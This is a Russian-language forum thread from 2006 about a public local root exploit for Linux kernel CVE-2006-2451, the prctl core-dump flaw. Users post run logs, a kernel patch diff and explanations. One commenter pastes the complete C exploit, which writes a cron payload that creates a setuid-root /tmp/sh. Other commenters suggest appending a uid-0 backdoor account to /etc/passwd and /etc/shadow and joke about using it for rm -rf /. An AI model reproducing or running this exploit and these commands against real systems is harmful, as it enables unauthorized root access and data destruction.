LINUX.ORG.RU

Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit


0

0

RoMan SoFt Labs выпустили Proof of Concept уязвимости CVE-2006-2451

Эксплоит позволяет повысить привилегии простого пользователя системы до root на ядрах версий 2.6.13 и выше. Данная уязвимость исправлена в последнем ядре 2.6.17.4.

>>> Подробности



Проверено: Shaman007 ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

У меня в 2.6.17 - не работает...

 ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory

sergej ★★★★★ ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Работает :-(. Dapper. Сейчас произойдет dist-upgrade и не будет работать.

Shaman007 ★★★★★ ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

user@host ~ $ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory
user@host ~ $ uname -a
Linux linux 2.6.16-gentoo-r7 #2 Mon May 22 14:19:25 MSD 2006 i686 Pentium Pro GNU/Linux
nstorm@linux ~ $

anonymous ()
Ответ на: Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit от anonymous

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Бля, не работает ((
[user@bobrik ~]$ gcc rs_prctl_kernel.c -o exploit
[user@bobrik ~]$ ./exploit
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: Нет такого файла или каталога
[user@bobrik ~]$ uname -r
2.6.17-beyond

bobrik ()
Ответ на: Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit от bobrik

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

--- linux-2.6.9/kernel/sys.c.orig
+++ linux-2.6.9/kernel/sys.c
@@ -1702,7 +1702,7 @@ asmlinkage long sys_prctl(int option, un
                                error = 1;
                        break;
                case PR_SET_DUMPABLE:
-                       if (arg2 < 0 || arg2 > 2) {
+                       if (arg2 < 0 || arg2 > 1) {
                                error = -EINVAL;
                                break;
                        }

anonymous ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

sh: /tmp/sh: Нет такого файла или каталога

xtreme@xtreme ~ $ uname -r

2.6.17-gentoo-r2

X-treme ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

artem@debian:~$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh-2.05b# id
uid=1000(artem) gid=1000(artem) euid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(art
em)
sh-2.05b# uname -a
Linux debian 2.6.14.7 #3 SMP Sat Jun 24 09:49:25 SAMST 2006 i686 GNU/Linux
sh-2.05b#

debian stable

JB ★★★★★ ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Кто-небудь может объяснить принцип действия эксплойта?
Как я понял, он коре-дампит в /etc/cron.d, но не понятно, каким
образом получается, что cron обрабатывает этот коредамп и выполняет
команды из него?

Фикс тоже прикольный, кстати:
http://www.kernel.org/git/?p=linux/kernel/git/stable/linux-2.6.17.y.git;a=blo...

anonymous ()
Ответ на: Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit от anonymous

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Работает но частично. Т.е. сам эксплоит не работает полностью, но /tmp/sh с SUID создается (просто позже чем через минуту).

anonymous ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Блин, хоть бы эксплойты писЯт научились ;)

anonymous ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Не работает, slackware.

valeri_ufo ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Хммм... Не работает!

tetsu@darkside ~/Downloads $ gcc -O2 rs_prctl_kernel.c -oget_root
tetsu@darkside ~/Downloads $ ./get_root
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory
tetsu@darkside ~/Downloads $ id
uid=1000(tetsu) gid=100(users) группы=10(wheel),18(audio),19(cdrom),85(usb),100(users)
tetsu@darkside ~/Downloads $ uname -r
2.6.15-gentoo-r5
tetsu@darkside ~/Downloads $ uname -a
Linux darkside 2.6.15-gentoo-r5 #2 SMP Tue Apr 18 23:32:54 GMT 2006 x86_64 AMD Sempron(tm) Processor 2600+ AuthenticAMD GNU/Linux

anonymous ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Вообщем развели Вас товарищи ;-)

Этот сплоит лишь создает видимость рута давая euid=0. Более серьезную проверку привелегий сплоит не пройдет, а значит то что это прям на все 100% root exploit сказать НЕЛЬЗЯ!

Metallic ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

В gentoo тоже не работает:

$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: Нет такого файла или каталога

$ ls -ld /etc/cron.d
drwxr-xr-x 2 root root 8 Окт 18 2004 /etc/cron.d

$ cat /proc/version
Linux version 2.6.16-gentoo-r12

fghj ★★★★★ ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh-3.1#
sh-3.1#
sh-3.1# su
Password:Ctrl-C
su: Authentication failure
sh-3.1#

бугога!!!

Ex ★★ ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

кстати понятно почему не работает в gentoo,
из Changlogа gentoo-sources:

06 Jul 2006; Daniel Drake <dsd@gentoo.org>
+gentoo-sources-2.6.16-r12.ebuild:
Update to Linux 2.6.16.24 for coredump privilege escalation security fix

fghj ★★★★★ ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

А мне эксплойт понравился, красивая идея. У тех - у кого не сработал, попробуйте скомпилить без оптимизации, может строчка удалилась.

Да, а куда направлять просьбу прописать alt к капче? А то из консольных браузеров анонимусам коментить не получается %(

// darkk

anonymous ()
Ответ на: Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit от anonymous

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

[krum@localhost ~]$ gcc rs_prctl_kernel.c -o exploit [krum@localhost ~]$ ./exploit Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t By: dreyer & RoMaNSoFt [ 10.Jul.2006 ]

[*] Creating Cron entry [*] Sleeping for aprox. one minute (** please wait **) [*] Running shell (remember to remove /tmp/sh when finished) ... sh: /tmp/sh: Нет такого файла или каталога [krum@localhost ~]$ uname -a Linux localhost.localdomain 2.6.15-1.2054_FC5smp #1 SMP Tue Mar 14 16:05:46 EST 2006 i686 athlon i386 GNU/Linux [krum@localhost ~]$

anonymous ()
Ответ на: Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit от anonymous

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

[krum@localhost ~]$ gcc rs_prctl_kernel.c -o exploit
[krum@localhost ~]$ ./exploit
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: Нет такого файла или каталога
[krum@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.15-1.2054_FC5smp #1 SMP Tue Mar 14 16:05:46 EST 2006 i686 athlon i386 GNU/Linux
[krum@localhost ~]$

anonymous ()
Ответ на: Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit от anonymous

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

И вообще все у кого "неработает" - выше же писали минуты нехватает.

Измените в коде эксплоита sleep(62); на sleep(180); и все заработает.

anonymous ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

нехочу вас всех растраивать, но вас на*бали ;) внимательно изучите исходник сплоита и все поймете

можете так же для полного просветления сделать rm -rf / через сплоит

JB ★★★★★ ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Fake!

anonymous ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

>> нехочу вас всех растраивать, но вас на*бали ;) внимательно изучите исходник сплоита и все поймете
> можете так же для полного просветления сделать rm -rf / через сплоит

гы-гы час веть кто нить попробует ))) и вынесет себе хомяк & etc %)

Ex ★★ ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Надо будет к нему написать ебилд!

anonymous ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Изучил

Пытается сбросить кору в директорию крона

Только я не понял с какого крон это должен подхватывать...

Наверное exploit и не должен работать? :)

sergej ★★★★★ ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

user@server ~/ $ uname -a
Linux server 2.6.16-gentoo-r5 #1 PREEMPT Tue May 23 15:30:42 MSD 2006 i686 Intel(R) Pentium(R) 4 CPU 2.20GHz GNU/Linux
user@server ~/ $ ./a.out
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory

anonymous ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

В итоге можно сказать что сплоит пригоден для программ которые не используют вызовы setuid setgid. Еще до кучи эта хренотень и в логах светицо....

По ощущениям это косяк cron+kernel на пару ибо в логах вот такая вещь <$date $hostname /USR/SBIN/CRON[$pid]: (root) CMD ( cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core)>

P.S. rm -fdr setuid setgid кажется не делает, так что тут он сработает ^_^

Metallic ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Ребята, уже не первый раз режет глаз прЕвелегии (правильно прИвелегии)...

kayak ()
Ответ на: Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit от sergej

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

> Изучил

плохо изучил ;) он лишь ставит euid=0, а id остается твоим

как уже сказал Metallic это прокатит только там, где не проверяется setuid и setgid

JB ★★★★★ ()
Ответ на: Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit от anonymous

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Работает, однако ж:

user@server ~/ $ uname -a Linux server 2.6.16-gentoo-r5 #1 PREEMPT Tue May 23 15:30:42 MSD 2006 i686 Intel(R) Pentium(R) 4 CPU 2.20GHz GNU/Linux

...

user@server ~/ $ /tmp/sh sh-3.1$ id uid=1002(user) gid=1002(user) группы=100(users),1002(user) sh-3.1$ ls -l /tmp/sh -rwsr-xr-x 1 root root 646312 Июл 12 13:53 /tmp/sh

Но!

/dev/hda2 /tmp reiserfs noexec,nosuid,nodev 0 0

anonymous ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Лажа какая-то, багу пофиксили, только после чего вышел эксплоит, который к тому же пашет не везде, требует доработки напильником и т.п. Винды наизнанку - сначала фиксят дырки и только потом пишут эксплоиты...

Еще и нужно "nosuid" с /tmp убирать... фе :)

Gharik ()
Ответ на: Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit от WFrag

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

> Только что проверил на соседе - работает (~ Debian/Etch). Создал файлик в корне.

единственное для чего годится этот сплоит - написать гадость в /etc/motd и удалить хомяк

JB ★★★★★ ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

[krum@localhost ~]$ cat rs_prctl_kernel.c
/*****************************************************/
/* Local r00t Exploit for: */
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE-2006-2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */
/* By: */
/* - dreyer <luna@aditel.org> (main PoC code) */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/* [ 10.Jul.2006 ] */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/ usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");

corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);

printf("[*] Creating Cron entry\n");

if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}

kill(child, SIGSEGV);

printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(182);

printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
system("/tmp/sh -i");
}

[krum@localhost ~]$ gcc rs_prctl_kernel.c -o exploit
[krum@localhost ~]$ ./exploit
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh-3.1$ id
uid=500(krum) gid=500(krum) группы=10(wheel),500(krum) context=root:system_r:unconfined_t:SystemLow-SystemHigh
sh-3.1$
Нифига не работает на федоре 5-ой...

anonymous ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

О боже!!!!!!!!! Правильно Jackill сказал "4 дебила за сутки".... тока он числом ошибсяяя......

Я могу сделать скрипт в tmp и скормить его sh и никакие nosuid noexec вас не спасут :-]

Metallic ()

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

Хм, а добавить левого юзера с id=0, а потом им залогиниться?

echo "otherroot:x:0:0:root:/root:/bin/sh" >> /etc/passwd echo "otherroot:$1$<password>:12975:0:99999:7:::" >> /etc/shadow

WFrag ★★★★ ()
Ответ на: Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit от WFrag

Re: Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit

>Хм, а добавить левого юзера с id=0, а потом им залогиниться?

>echo "otherroot:x:0:0:root:/root:/bin/sh" >> /etc/passwd echo "otherroot:$1$<password>:12975:0:99999:7:::" >> /etc/shadow

Угадать систему хеширования пароля и подправить никто не запрещал ;-)

Metallic ()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.